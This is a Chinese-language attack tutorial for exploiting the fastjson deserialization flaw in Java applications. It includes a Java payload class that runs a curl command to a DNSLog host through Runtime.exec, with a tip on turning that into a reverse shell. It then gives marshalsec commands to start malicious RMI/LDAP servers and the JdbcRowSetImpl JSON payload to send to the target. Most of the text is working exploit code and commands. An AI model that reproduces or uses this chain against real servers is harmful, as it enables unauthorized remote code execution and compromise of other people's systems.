如果你已經用DNSLog之類的工具,探測到了某個url有fastjson問題,那么接着可以試試能不能反彈shell,由於反彈shell步驟多,容易不成功,我就簡化一下流程,改成執行命令,執行curl命令。
1. 准備一個Payload
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
# 如果想反彈shell ,那么修改這一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
我一般在本地編輯,然后用javac Exploit.java,得到Expoit.class ,上傳公網服務器里,如果你vim刷得6,這些步驟完全可以在服務器上操作。

然后在將這個Expoit.class 上傳到你到服務器上去。
2. 服務器上啟動 rmi
在本地啟動rmi服務器,這里推薦github上的一個項目marshalsec
https://github.com/mbechler/marshalsec
需要用maven進行生成jar包,進入marshalsec目錄后,執行如下命令:
git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
之后使用過的是這個包 marshalsec-0.0.3-SNAPSHOT-all.jar,

可以移動到仍意目錄都可以, 最好把Expoit.class和它放在同一個目錄下。

在當前目錄下,打開一個web服務器:
python -m SimpleHTTPServer 8000
然后啟動rmi,
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit
# 如果想反彈shell,加個端口就行了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999
如果命令執行成功,會出現如下監聽情況

3. 向目標注入payload
可以用burp發包,也可以用腳本發包,都一樣,
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:1099/Exploit\",\"autoCommit\":true}

然后去DNSlog看看有沒有訪問記錄即可,沒有記錄都話,就比較難說了,可能網絡問題、環境問題、步驟有問題、fastjson版本不是對應版本、java版本問題,這種就自己探索吧。
